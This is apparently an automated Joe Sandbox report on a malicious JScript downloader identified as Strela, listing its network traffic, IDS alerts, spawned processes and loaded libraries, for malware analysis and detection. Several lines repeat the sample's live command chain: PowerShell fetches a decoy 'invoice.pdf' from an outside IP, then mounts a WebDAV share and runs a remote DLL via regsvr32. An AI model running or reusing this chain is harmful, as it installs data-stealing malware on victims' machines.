Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49737

Source: global traffic

TCP traffic: 192.168.2.10:49737 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49720 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1303352065.00000171BCC1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1373659683.000001E773EB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1373659683.000001E773EE7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1373659683.000001E773EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1373659683.000001E773EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/5
Source: net.exe, 00000007.00000002.1373659683.000001E773EB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacem
Source: net.exe, 00000007.00000002.1373659683.000001E773EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/q
Source: svchost.exe, 00000009.00000002.2600371165.000001D363CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1370111160.000001D369400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8004, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 23742400475728052.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c1cghy5u.e3s.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 23742400475728052.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1748,i,16244034270868904288,8231150956397656860,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1748,i,16244034270868904288,8231150956397656860,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
